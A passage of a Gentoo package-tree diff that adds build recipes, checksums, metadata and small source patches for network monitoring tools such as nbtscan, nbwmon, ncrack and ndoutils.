+ sys-apps/texinfo
+"
+RDEPEND="
+ ${CDEPEND}
+ !sys-boot/netboot
+ !www-apps/nanoblogger
+"
+
+S="${WORKDIR}/nodebrain-${PV}"
+
+src_prepare() {
+ # fdl.texi is not included in the sources
+ sed -i \
+ -e '/@include fdl.texi/d' \
+ doc/nbTutorial/nbTutorial.texi || die
+
+ epatch "${FILESDIR}"/${PN}-0.8.14-include.patch
+
+ eautoreconf
+}
+
+src_configure() {
+ econf \
+ $(use_enable static-libs static) \
+ --include=/usr/include
+}
+
+src_compile() {
+ # Fails at parallel make
+ emake -j1
+}
+
+src_install() {
+ default
+ use static-libs || prune_libtool_files
+ dodoc AUTHORS NEWS README THANKS sample/*
+ dohtml html/*
+}
diff --git a/net-analyzer/nb/nb-0.9.03.ebuild b/net-analyzer/nb/nb-0.9.03.ebuild
new file mode 100644
index 000000000000..6aea0980d6f1
--- /dev/null
+++ b/net-analyzer/nb/nb-0.9.03.ebuild
@@ -0,0 +1,47 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit eutils
+
+DESCRIPTION="Nodebrain is a tool to monitor and do event correlation"
+HOMEPAGE="http://nodebrain.sourceforge.net/"
+SRC_URI="mirror://sourceforge/nodebrain/nodebrain-${PV}.tar.gz"
+
+LICENSE="MIT"
+SLOT="0"
+KEYWORDS="~amd64 ~ppc ~x86"
+IUSE="static-libs"
+
+CDEPEND="dev-libs/libedit"
+DEPEND="
+ ${CDEPEND}
+ dev-lang/perl
+ virtual/pkgconfig
+ sys-apps/texinfo
+"
+RDEPEND="
+ ${CDEPEND}
+ !sys-boot/netboot
+ !www-apps/nanoblogger
+"
+
+S="${WORKDIR}/nodebrain-${PV}"
+
+src_prepare() {
+ epatch "${FILESDIR}"/${PN}-0.8.14-include.patch
+}
+
+src_configure() {
+ econf \
+ $(use_enable static-libs static) \
+ --include=/usr/include
+}
+
+src_install() {
+ default
+ use static-libs || prune_libtool_files
+ dodoc AUTHORS NEWS README THANKS sample/*
+ dohtml html/*
+}
diff --git a/net-analyzer/nbtscan/Manifest b/net-analyzer/nbtscan/Manifest
new file mode 100644
index 000000000000..e52b8f9eeda9
--- /dev/null
+++ b/net-analyzer/nbtscan/Manifest
@@ -0,0 +1 @@
+DIST nbtscan-1.5.1.tar.gz 82107 SHA256 f9f95d5555356c8d467a576e69d9d348bf2a821ded9a85f895b5e6d21e2aa7eb SHA512 2e2ac6a3ce7b188552c4f5f82b1e2bb99049bd0cd6f69361c59066c0b262d9311186aabc0c03c3096b7d2c48276052b1ddf230eba43051e221019c9bf223ae3e WHIRLPOOL 21c41ed7f21bc60d1949b814eb3e38d45971c9eff67b2dfc6054b3b9f16310733252ae5e75a15b6c698a194dc5c4f4fab0fc754ffddbe36957662d6c109e1b1c
diff --git a/net-analyzer/nbtscan/files/nbtscan-1.5.1-gentoo.patch b/net-analyzer/nbtscan/files/nbtscan-1.5.1-gentoo.patch
new file mode 100644
index 000000000000..dbf2457bc29f
--- /dev/null
+++ b/net-analyzer/nbtscan/files/nbtscan-1.5.1-gentoo.patch
@@ -0,0 +1,15 @@
+--- a/Makefile.in
++++ b/Makefile.in
+@@ -11,10 +11,10 @@
+ BINDIR = @bindir@
+
+ nbtscan: $(OBJECTS)
+- $(CC) $(CFLAGS) -o nbtscan $(OBJECTS) $(LIBS)
++ $(CC) $(CFLAGS) $(LDFLAGS) -o nbtscan $(OBJECTS) $(LIBS)
+
+ install:
+- $(INSTALL) $(TARGET) $(BINDIR)/$(TARGET)
++ $(INSTALL) $(TARGET) $(DESTDIR)/$(BINDIR)/$(TARGET)
+
+ nbtscan.o: nbtscan.c statusq.h range.h list.h
+ $(CC) $(CFLAGS) $(DEFS) -c nbtscan.c
diff --git a/net-analyzer/nbtscan/files/nbtscan-1.5.1-includes-declarations.patch b/net-analyzer/nbtscan/files/nbtscan-1.5.1-includes-declarations.patch
new file mode 100644
index 000000000000..a585d4495fb5
--- /dev/null
+++ b/net-analyzer/nbtscan/files/nbtscan-1.5.1-includes-declarations.patch
@@ -0,0 +1,42 @@
+--- a/list.h
++++ b/list.h
+@@ -19,3 +19,5 @@
+ int compare(struct list_item* item1, struct list_item* item2);
+
+ int insert(struct list* lst, unsigned long content);
++
++int in_list(struct list* lst, unsigned long content);
+--- a/nbtscan.c
++++ b/nbtscan.c
+@@ -5,6 +5,8 @@
+ #include <stdlib.h>
+ #include <sys/time.h>
+ #include <string.h>
++#include <ctype.h>
++#include <unistd.h>
+ #if HAVE_STDINT_H
+ #include <stdint.h>
+ #endif
+--- a/statusq.h
++++ b/statusq.h
+@@ -103,4 +103,10 @@
+ char* service_name;
+ } nb_service_t ;
+
++char* getnbservicename(my_uint8_t service, int unique, char* name);
++
++struct nb_host_info* parse_response(char* buff, int buffsize);
++
++int send_query(int sock, struct in_addr dest_addr, my_uint32_t rtt_base);
++
+ #endif /* STATUSQ_H */
+--- a/statusq.c
++++ b/statusq.c
+@@ -29,6 +29,7 @@
+ #include <sys/time.h>
+ #include "statusq.h"
+ #include <string.h>
++#include <ctype.h>
+ #include <stdio.h>
+ #include <stddef.h>
+ #include "errors.h"
diff --git a/net-analyzer/nbtscan/files/nbtscan-1.5.1-script-whitespace.patch b/net-analyzer/nbtscan/files/nbtscan-1.5.1-script-whitespace.patch
new file mode 100644
index 000000000000..4aca976dcd38
--- /dev/null
+++ b/net-analyzer/nbtscan/files/nbtscan-1.5.1-script-whitespace.patch
@@ -0,0 +1,119 @@
+--- a/nbtscan.c
++++ b/nbtscan.c
+@@ -86,7 +86,7 @@
+ int d_print_hostinfo(struct in_addr addr, const struct nb_host_info* hostinfo) {
+ int i;
+ unsigned char service; /* 16th byte of NetBIOS name */
+- char name[16];
++ char comp_name[16];
+
+ printf("\nPacket dump for Host %s:\n\n", inet_ntoa(addr));
+ if(hostinfo->is_broken) printf("Incomplete packet, %d bytes long.\n", hostinfo->is_broken);
+@@ -110,9 +110,9 @@
+ printf("Names received:\n");
+ for(i=0; i< hostinfo->header->number_of_names; i++) {
+ service = hostinfo->names[i].ascii_name[15];
+- strncpy(name, hostinfo->names[i].ascii_name, 15);
+- name[16]=0;
+- printf("%-17s Service: 0x%02x Flags: 0x%04x\n", name, service, hostinfo->names[i].rr_flags);
++ strncpy(comp_name, hostinfo->names[i].ascii_name, 15);
++ comp_name[15]=0;
++ printf("%-17s Service: 0x%02x Flags: 0x%04x\n", comp_name, service, hostinfo->names[i].rr_flags);
+ }
+ };
+
+@@ -147,9 +147,9 @@
+
+
+ int v_print_hostinfo(struct in_addr addr, const struct nb_host_info* hostinfo, char* sf, int hr) {
+- int i, unique;
++ int i, j, unique;
+ my_uint8_t service; /* 16th byte of NetBIOS name */
+- char name[16];
++ char comp_name[16];
+ char* sname;
+
+ if(!sf) {
+@@ -163,20 +163,27 @@
+ if(hostinfo->header && hostinfo->names) {
+ for(i=0; i< hostinfo->header->number_of_names; i++) {
+ service = hostinfo->names[i].ascii_name[15];
+- strncpy(name, hostinfo->names[i].ascii_name, 15);
+- name[16]=0;
++ strncpy(comp_name, hostinfo->names[i].ascii_name, 15);
++
++ // Eliminate trailing spaces
++ for(j=0; j < 15; j++) {
++ if (comp_name[j] == ' ')
++ break;
++ }
++ comp_name[j] = 0;
++
+ unique = !(hostinfo->names[i].rr_flags & 0x0080);
+ if(sf) {
+- printf("%s%s%s%s", inet_ntoa(addr), sf, name, sf);
+- if(hr) printf("%s\n", (char*)getnbservicename(service, unique, name));
++ printf("%s%s%s%s", inet_ntoa(addr), sf, comp_name, sf);
++ if(hr) printf("%s\n", (char*)getnbservicename(service, unique, comp_name));
+ else {
+ printf("%02x", service);
+ if(unique) printf("U\n");
+ else printf("G\n");
+ }
+ } else {
+- printf("%-17s", name);
+- if(hr) printf("%s\n", (char*)getnbservicename(service, unique, name));
++ printf("%-17s", comp_name);
++ if(hr) printf("%s\n", (char*)getnbservicename(service, unique, comp_name));
+ else {
+ printf("<%02x>", service);
+ if(unique) printf(" UNIQUE\n");
+@@ -199,7 +206,7 @@
+ };
+
+ int print_hostinfo(struct in_addr addr, struct nb_host_info* hostinfo, char* sf) {
+- int i;
++ int i,j;
+ unsigned char service; /* 16th byte of NetBIOS name */
+ char comp_name[16], user_name[16];
+ int is_server=0;
+@@ -215,7 +222,13 @@
+ if(service == 0 && unique && first_name) {
+ /* Unique name, workstation service - this is computer name */
+ strncpy(comp_name, hostinfo->names[i].ascii_name, 15);
+- comp_name[15] = 0;
++
++ // Eliminate trailing spaces
++ for(j=0; j < 15; j++) {
++ if (comp_name[j] == ' ')
++ break;
++ }
++ comp_name[j] = 0;
+ first_name = 0;
+ };
+ if(service == 0x20 && unique) {
+@@ -252,7 +265,7 @@
+ /* If l is true adds #PRE to each line of output (for lmhosts) */
+
+ int l_print_hostinfo(struct in_addr addr, struct nb_host_info* hostinfo, int l) {
+- int i;
++ int i,j;
+ unsigned char service; /* 16th byte of NetBIOS name */
+ char comp_name[16];
+ int is_server=0;
+@@ -268,7 +281,13 @@
+ if(service == 0 && unique && first_name) {
+ /* Unique name, workstation service - this is computer name */
+ strncpy(comp_name, hostinfo->names[i].ascii_name, 15);
+- comp_name[15]=0;
++
++ // Eliminate trailing spaces
++ for(j=0; j < 15; j++) {
++ if (comp_name[j] == ' ')
++ break;
++ }
++ comp_name[j] = 0;
+ first_name = 0;
+ };
+ };
+
diff --git a/net-analyzer/nbtscan/metadata.xml b/net-analyzer/nbtscan/metadata.xml
new file mode 100644
index 000000000000..03aa50bab7e3
--- /dev/null
+++ b/net-analyzer/nbtscan/metadata.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+</pkgmetadata>
diff --git a/net-analyzer/nbtscan/nbtscan-1.5.1-r3.ebuild b/net-analyzer/nbtscan/nbtscan-1.5.1-r3.ebuild
new file mode 100644
index 000000000000..b3110596d59e
--- /dev/null
+++ b/net-analyzer/nbtscan/nbtscan-1.5.1-r3.ebuild
@@ -0,0 +1,30 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit eutils
+
+DESCRIPTION="NBTscan is a program for scanning IP networks for NetBIOS name information"
+HOMEPAGE="http://www.inetcat.net/software/nbtscan.html"
+SRC_URI="http://www.sourcefiles.org/Networking/Tools/Miscellanenous/${P}.tar.gz"
+SRC_URI="http://www.inetcat.net/software/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="amd64 ppc x86 ~amd64-linux ~x86-linux ~ppc-macos"
+
+S=${WORKDIR}/${P}a
+
+src_prepare() {
+ epatch \
+ "${FILESDIR}"/${P}-includes-declarations.patch \
+ "${FILESDIR}"/${P}-gentoo.patch \
+ "${FILESDIR}"/${P}-script-whitespace.patch
+}
+
+src_install () {
+ dobin ${PN}
+ dodoc ChangeLog README
+}
diff --git a/net-analyzer/nbwmon/Manifest b/net-analyzer/nbwmon/Manifest
new file mode 100644
index 000000000000..35dbb8ea56bf
--- /dev/null
+++ b/net-analyzer/nbwmon/Manifest
@@ -0,0 +1,3 @@
+DIST nbwmon-0.4.3.tar.gz 5273 SHA256 e05822e9c4deea1d6e52ed5998400a1f660280b7da4e0fa7b681b56c5b4e302b SHA512 8508249488bbfa365af4060cad2840d15e77248c4d9ab51b69e905e048243868f3e899118b36d48df7e83dd2a80d047c6ddc144e95c47c3634bf03ddde0a170c WHIRLPOOL 59b46fb8f42fbd007bd88dbf56c7d88f3ed0512ccabda49f24a6a17358f3e812e60f961d00106af1cbbc08a3030804c18d8a3096ddff1746da2117f5464bcdb7
+DIST nbwmon-0.5.1.tar.gz 5638 SHA256 ea2314ededf963c3f22e9d61b1e0f7c61f80bcb07f1ee1fa8446222ef2f74c13 SHA512 bd26a731b6fa2edefa76d3620f09e62de7906fcb312219b90da8c3d8a0bf7b19fa0a5d9eca55217df5bcb4203a6f893c0ed34b1dcd8afc2e08aa653ccd926c24 WHIRLPOOL be0845cd8e8561627e3b36c196fe4a930a2423d4d69608a8d78713e63d44037d287dad027d1e06d7965603bfca9efbfd4f1080d57634182d204e9e1743c2dc7a
+DIST nbwmon-0.5.2.tar.gz 5807 SHA256 3244e8504168db04cf3b2b89769b83bb4663be803d4a5dd044b092f3a96c507f SHA512 11502015b8a04d8a65c2f06d9e921c193c2e4968dbbd781791c30f35a2cf1135bbf784280b9070670be2b58c4355bf7bdf631d5932ec3a01637db803a4c88bf4 WHIRLPOOL 80a224d6fef11bdf0a778d06f8f074a106bb99f900afaecc838319d787d836bb054ca0bec517a6db82434338326d3e468b566cba4936a2535d36b80f5ee6f6ca
diff --git a/net-analyzer/nbwmon/files/nbwmon-0.4.3-tinfo.patch b/net-analyzer/nbwmon/files/nbwmon-0.4.3-tinfo.patch
new file mode 100644
index 000000000000..cb2b7a35887d
--- /dev/null
+++ b/net-analyzer/nbwmon/files/nbwmon-0.4.3-tinfo.patch
@@ -0,0 +1,11 @@
+--- a/Makefile
++++ b/Makefile
+@@ -2,7 +2,7 @@
+ # add -I/usr/pkg/include and -L/usr/pkg/lib to the options
+ # below.
+ CFLAGS+=-std=c99 -pedantic -Wall -Wextra
+-LDLIBS=-lncurses
++LDLIBS=$(shell $(PKG_CONFIG) --libs ncurses)
+
+ BIN=nbwmon
+
diff --git a/net-analyzer/nbwmon/files/nbwmon-0.5.2-tinfo.patch b/net-analyzer/nbwmon/files/nbwmon-0.5.2-tinfo.patch
new file mode 100644
index 000000000000..0108844db99e
--- /dev/null
+++ b/net-analyzer/nbwmon/files/nbwmon-0.5.2-tinfo.patch
@@ -0,0 +1,11 @@
+--- a/Makefile
++++ b/Makefile
+@@ -2,7 +2,7 @@
+ # add -I/usr/pkg/include and -L/usr/pkg/lib to the options
+ # below.
+ CFLAGS+=-std=c99 -pedantic -Wall -Wextra
+-LDLIBS=-lncurses
++LDLIBS=$(shell $(PKG_CONFIG) --libs ncurses)
+ PREFIX=/usr/local
+
+ BIN=nbwmon
diff --git a/net-analyzer/nbwmon/metadata.xml b/net-analyzer/nbwmon/metadata.xml
new file mode 100644
index 000000000000..851dce2b7fab
--- /dev/null
+++ b/net-analyzer/nbwmon/metadata.xml
@@ -0,0 +1,8 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+ <upstream>
+ <remote-id type="github">causes-/nbwmon</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/nbwmon/nbwmon-0.4.3.ebuild b/net-analyzer/nbwmon/nbwmon-0.4.3.ebuild
new file mode 100644
index 000000000000..2f8b5f372352
--- /dev/null
+++ b/net-analyzer/nbwmon/nbwmon-0.4.3.ebuild
@@ -0,0 +1,27 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit eutils toolchain-funcs
+
+DESCRIPTION="ncurses bandwidth monitor"
+HOMEPAGE="https://github.com/defer-/nbwmon"
+SRC_URI="https://github.com/defer-/${PN}/archive/${PV}.tar.gz -> ${P}.tar.gz"
+
+LICENSE="MIT"
+SLOT="0"
+KEYWORDS="~amd64 ~ppc ~ppc64 ~x86"
+
+RDEPEND="
+ sys-libs/ncurses
+"
+DEPEND="
+ ${RDEPEND}
+ virtual/pkgconfig
+"
+
+src_prepare() {
+ epatch "${FILESDIR}"/${P}-tinfo.patch
+ tc-export CC PKG_CONFIG
+}
diff --git a/net-analyzer/nbwmon/nbwmon-0.5.1.ebuild b/net-analyzer/nbwmon/nbwmon-0.5.1.ebuild
new file mode 100644
index 000000000000..c33261430603
--- /dev/null
+++ b/net-analyzer/nbwmon/nbwmon-0.5.1.ebuild
@@ -0,0 +1,27 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit eutils toolchain-funcs
+
+DESCRIPTION="ncurses bandwidth monitor"
+HOMEPAGE="http://causes.host.funtoo.org/?p=nbwmon https://github.com/causes-/nbwmon"
+SRC_URI="https://github.com/causes-/${PN}/archive/${PV}.tar.gz -> ${P}.tar.gz"
+
+LICENSE="MIT"
+SLOT="0"
+KEYWORDS="~amd64 ~ppc ~ppc64 ~x86"
+
+RDEPEND="
+ sys-libs/ncurses
+"
+DEPEND="
+ ${RDEPEND}
+ virtual/pkgconfig
+"
+
+src_prepare() {
+ epatch "${FILESDIR}"/${PN}-0.4.3-tinfo.patch
+ tc-export CC PKG_CONFIG
+}
diff --git a/net-analyzer/nbwmon/nbwmon-0.5.2.ebuild b/net-analyzer/nbwmon/nbwmon-0.5.2.ebuild
new file mode 100644
index 000000000000..8e60afa247d9
--- /dev/null
+++ b/net-analyzer/nbwmon/nbwmon-0.5.2.ebuild
@@ -0,0 +1,32 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit eutils toolchain-funcs
+
+DESCRIPTION="ncurses bandwidth monitor"
+HOMEPAGE="http://causes.host.funtoo.org/?p=nbwmon https://github.com/causes-/nbwmon"
+SRC_URI="https://github.com/causes-/${PN}/archive/${PV}.tar.gz -> ${P}.tar.gz"
+
+LICENSE="MIT"
+SLOT="0"
+KEYWORDS="~amd64 ~ppc ~ppc64 ~x86"
+
+RDEPEND="
+ sys-libs/ncurses
+"
+DEPEND="
+ ${RDEPEND}
+ virtual/pkgconfig
+"
+
+src_prepare() {
+ epatch "${FILESDIR}"/${PN}-0.5.2-tinfo.patch
+ tc-export CC PKG_CONFIG
+}
+
+src_install() {
+ dobin ${PN}
+ dodoc README
+}
diff --git a/net-analyzer/ncrack/Manifest b/net-analyzer/ncrack/Manifest
new file mode 100644
index 000000000000..3d6dd9e6661a
--- /dev/null
+++ b/net-analyzer/ncrack/Manifest
@@ -0,0 +1,2 @@
+DIST ncrack-0.3ALPHA.tar.gz 4430878 RMD160 5c48006cb346b68f067cdc54bbff410e4a0ba465 SHA1 89b3fa98c9f85d8f23d638a89c53259a7b7ae82d SHA256 e9293f772ebb57c482ac83c57e76fa08b00df216c16987822cdf007928e21168
+DIST ncrack-0.4ALPHA.tar.gz 2208130 RMD160 1ab6b88e26e223f39cbf1e49a612fae572289aa8 SHA1 954ff0f5ed8850490c7b0e7f89dce3876791bf3b SHA256 f8bd7e0ef68559490064ec0a5f139b2b9c49aeaf9f6323e080db9ff344c87603
diff --git a/net-analyzer/ncrack/metadata.xml b/net-analyzer/ncrack/metadata.xml
new file mode 100644
index 000000000000..77d8e7551191
--- /dev/null
+++ b/net-analyzer/ncrack/metadata.xml
@@ -0,0 +1,14 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<maintainer>
+<email>hwoarang@gentoo.org</email>
+<name>Markos Chandras</name>
+</maintainer>
+<use>
+<flag name="ssh">Compile and link against the internal openssh modified library.</flag>
+</use>
+<longdescription lang="en">
+</longdescription>
+</pkgmetadata>
+
diff --git a/net-analyzer/ncrack/ncrack-0.3_alpha.ebuild b/net-analyzer/ncrack/ncrack-0.3_alpha.ebuild
new file mode 100644
index 000000000000..31d3db9dbacd
--- /dev/null
+++ b/net-analyzer/ncrack/ncrack-0.3_alpha.ebuild
@@ -0,0 +1,33 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=2
+
+inherit base versionator
+
+MY_P="${PN}-$(get_version_component_range 1-2)ALPHA"
+
+DESCRIPTION="a high-speed network authentication cracking tool"
+HOMEPAGE="http://nmap.org/ncrack/"
+SRC_URI="http://nmap.org/${PN}/dist/${MY_P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE="ssl"
+
+RDEPEND="ssl? ( dev-libs/openssl )"
+DEPEND="${RDEPEND}"
+
+S=${WORKDIR}/${MY_P}
+
+src_prepare() {
+ sed -i -e '/STRIP =/s:= .*:= echo:' Makefile.in || die
+}
+
+src_configure() {
+ econf --with-openssl=$(use ssl && echo yes || echo no)
+}
+
+DOCS=( CHANGELOG docs/{AUTHORS,TODO,{engine,mirror_pool,openssh-library}.txt} )
diff --git a/net-analyzer/ncrack/ncrack-0.4_alpha.ebuild b/net-analyzer/ncrack/ncrack-0.4_alpha.ebuild
new file mode 100644
index 000000000000..028c18d94bab
--- /dev/null
+++ b/net-analyzer/ncrack/ncrack-0.4_alpha.ebuild
@@ -0,0 +1,40 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=2
+
+inherit base versionator
+
+MY_P="${PN}-$(get_version_component_range 1-2)ALPHA"
+
+DESCRIPTION="a high-speed network authentication cracking tool"
+HOMEPAGE="http://nmap.org/ncrack/"
+SRC_URI="http://nmap.org/${PN}/dist/${MY_P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE="ssh ssl"
+
+RDEPEND="ssl? ( dev-libs/openssl )
+ ssh? ( net-misc/openssh )"
+DEPEND="${RDEPEND}"
+
+DOCS=( CHANGELOG docs/{AUTHORS,TODO,{devguide,mirror_pool,ncrack\.usage,openssh-library}.txt} )
+
+S=${WORKDIR}/${MY_P}
+
+src_prepare() {
+ sed -i -e '/STRIP =/s:= .*:= echo:' Makefile.in || die
+}
+
+src_configure() {
+ econf --with-openssl=$(use ssl && echo yes || echo no) \
+ --with-openssh=$(use ssh && echo yes || echo no)
+}
+
+src_install() {
+ base_src_install
+ doman docs/${PN}.1 || die "doman failed"
+}
diff --git a/net-analyzer/ndoutils/Manifest b/net-analyzer/ndoutils/Manifest
new file mode 100644
index 000000000000..272f39bfae5b
--- /dev/null
+++ b/net-analyzer/ndoutils/Manifest
@@ -0,0 +1,2 @@
+DIST ndoutils-1.5.2.tar.gz 2142271 SHA256 fe80b5d23291b780741f223efe807f690e3414e706844e993bc40913bd09c7f7 SHA512 3aac9917b8a557f8a7a3cd3cc5460e27617cdf0aab6f007da96a0ffecc4b3bbf3b2c08ef57d7daab8f4b6c5ff172b7d11ef74c84b3e84ae67460731209582ca1 WHIRLPOOL b49a4cc2c78010534cc2219b7cec14866a9bf72595e407eecf8b49487e1f4046132dc309d8a706b0eb688509d6a2983edb68a777da7e1ae019344a8dfac4feb1
+DIST ndoutils-2.0.0.tar.gz 2207263 SHA256 b95047c812fb61465e66a9e1a6d4a42bf00620f334f08a6faf5afe20bdd43ba1 SHA512 c899c9f9d0a14995ae7e3fc9f8566891acef9186cc53f05e4f509e9dd01a19a17d32c746a4a1c125342ebffad65946c7a3ea11da68ce0ff240bd37e85334545c WHIRLPOOL d3e41eb5e2a3ea9a5ca0d24fc8319beaa914d2bcb16c187ab6c5f5a3f133c27756ecdc2b6302a75c015294a1b2c3cc48d3c87a540ae1b9b07a21eb427b45d181
diff --git a/net-analyzer/ndoutils/files/ndo2db.init-nagios3 b/net-analyzer/ndoutils/files/ndo2db.init-nagios3
new file mode 100755
index 000000000000..60913254ab1d
--- /dev/null
+++ b/net-analyzer/ndoutils/files/ndo2db.init-nagios3
@@ -0,0 +1,25 @@
+#!/sbin/runscript
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+depends() {
+ before nagios
+ need mysql
+}
+
+start() {
+ ebegin "Starting ndo2db"
+ if [ -S /var/nagios/ndo.sock ] ; then
+ rm -f /var/nagios/ndo.sock
+ fi
+ start-stop-daemon --start --quiet --exec /usr/bin/ndo2db \
+ -- -c /etc/nagios/ndo2db.cfg
+ eend $?
+}
+
+stop() {
+ ebegin "Stopping ndo2db"
+ start-stop-daemon --stop --quiet --exec /usr/bin/ndo2db
+ eend $?
+}
diff --git a/net-analyzer/ndoutils/files/ndoutils-1.4_beta9-asprintf.patch b/net-analyzer/ndoutils/files/ndoutils-1.4_beta9-asprintf.patch
new file mode 100644
index 000000000000..146132c21de3
--- /dev/null
+++ b/net-analyzer/ndoutils/files/ndoutils-1.4_beta9-asprintf.patch
@@ -0,0 +1,10 @@
+--- a/include/config.h.in
++++ b/include/config.h.in
+@@ -9,6 +9,7 @@
+ #ifndef _CONFIG_H
+ #define _CONFIG_H
+
++#define _GNU_SOURCE
+ #include <stdio.h>
+ #include <stdlib.h>
+
diff --git a/net-analyzer/ndoutils/files/ndoutils-2.0.0-asprintf.patch b/net-analyzer/ndoutils/files/ndoutils-2.0.0-asprintf.patch
new file mode 100644
index 000000000000..146132c21de3
--- /dev/null
+++ b/net-analyzer/ndoutils/files/ndoutils-2.0.0-asprintf.patch
@@ -0,0 +1,10 @@
+--- a/include/config.h.in
++++ b/include/config.h.in
+@@ -9,6 +9,7 @@
+ #ifndef _CONFIG_H
+ #define _CONFIG_H
+
++#define _GNU_SOURCE
+ #include <stdio.h>
+ #include <stdlib.h>
+
diff --git a/net-analyzer/ndoutils/files/ndoutils-2.0.0-sleep.patch b/net-analyzer/ndoutils/files/ndoutils-2.0.0-sleep.patch
new file mode 100644
index 000000000000..61694baee9e3
--- /dev/null
+++ b/net-analyzer/ndoutils/files/ndoutils-2.0.0-sleep.patch
@@ -0,0 +1,10 @@
+--- a/src/queue.c
++++ b/src/queue.c
+@@ -8,6 +8,7 @@
+ #include "../include/queue.h"
+ #include <errno.h>
+ #include <time.h>
++#include <unistd.h> /* sleep() */
+
+ #define RETRY_LOG_INTERVAL 600 /* Seconds */
+ #define MAX_RETRIES 20 /* Max number of times to retry sending message */
diff --git a/net-analyzer/ndoutils/metadata.xml b/net-analyzer/ndoutils/metadata.xml
new file mode 100644
index 000000000000..c8b1c872b132
--- /dev/null
+++ b/net-analyzer/ndoutils/metadata.xml
@@ -0,0 +1,8 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+ <upstream>
+ <remote-id type="sourceforge">nagios</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/ndoutils/ndoutils-1.5.2.ebuild b/net-analyzer/ndoutils/ndoutils-1.5.2.ebuild
new file mode 100644
index 000000000000..dcb3a2470102
--- /dev/null
+++ b/net-analyzer/ndoutils/ndoutils-1.5.2.ebuild
@@ -0,0 +1,64 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit eutils user
+
+DESCRIPTION="Nagios addon to store Nagios data in a MySQL database"
+HOMEPAGE="http://www.nagios.org"
+SRC_URI="mirror://sourceforge/nagios/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86 ~ppc"
+
+DEPEND="
+ dev-perl/DBD-mysql
+ dev-perl/DBI
+ virtual/mysql
+"
+RDEPEND="
+ ${DEPEND}
+ >=net-analyzer/nagios-core-3.0
+"
+
+pkg_setup() {
+ enewgroup nagios
+ enewuser nagios -1 /bin/bash /var/nagios/home nagios
+}
+
+src_prepare() {
+ epatch \
+ "${FILESDIR}"/${PN}-1.4_beta9-asprintf.patch \
+ "${FILESDIR}"/${PN}-2.0.0-sleep.patch
+}
+
+src_configure() {
+ econf \
+ --sysconfdir=/etc/nagios \
+ --enable-mysql
+}
+
+DOCS=(
+ 'docs/NDOUTILS DB Model.pdf'
+ 'docs/NDOUtils Documentation.pdf'
+ Changelog
+ README
+ REQUIREMENTS
+ TODO
+ UPGRADING
+)
+
+src_install() {
+ default
+ emake DESTDIR="${D}" install-config
+
+ newinitd "${FILESDIR}"/ndo2db.init-nagios3 ndo2db
+}
+
+pkg_postinst() {
+ elog "To include NDO in your Nagios setup you'll need to activate the NDO broker module"
+ elog "in /etc/nagios/nagios.cfg:"
+ elog "\tbroker_module=/usr/bin/ndomod-3x.o config_file=/etc/nagios/ndomod.cfg"
+}
diff --git a/net-analyzer/ndoutils/ndoutils-2.0.0.ebuild b/net-analyzer/ndoutils/ndoutils-2.0.0.ebuild
new file mode 100644
index 000000000000..a7285fe8e9fc
--- /dev/null
+++ b/net-analyzer/ndoutils/ndoutils-2.0.0.ebuild
@@ -0,0 +1,68 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit eutils user
+
+MY_P=${P/_beta/b}
+
+DESCRIPTION="Nagios addon to store Nagios data in a MySQL database"
+HOMEPAGE="http://www.nagios.org"
+SRC_URI="mirror://sourceforge/nagios/${MY_P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86 ~ppc"
+
+DEPEND="
+ dev-perl/DBD-mysql
+ dev-perl/DBI
+ virtual/mysql
+"
+RDEPEND="
+ ${DEPEND}
+ >=net-analyzer/nagios-core-3.0
+"
+
+S="${WORKDIR}/${MY_P}"
+
+pkg_setup() {
+ enewgroup nagios
+ enewuser nagios -1 /bin/bash /var/nagios/home nagios
+}
+
+src_prepare() {
+ epatch \
+ "${FILESDIR}"/${P}-asprintf.patch \
+ "${FILESDIR}"/${P}-sleep.patch
+}
+
+src_configure() {
+ econf \
+ --sysconfdir=/etc/nagios \
+ --enable-mysql
+}
+
+DOCS=(
+ 'docs/NDOUTILS DB Model.pdf'
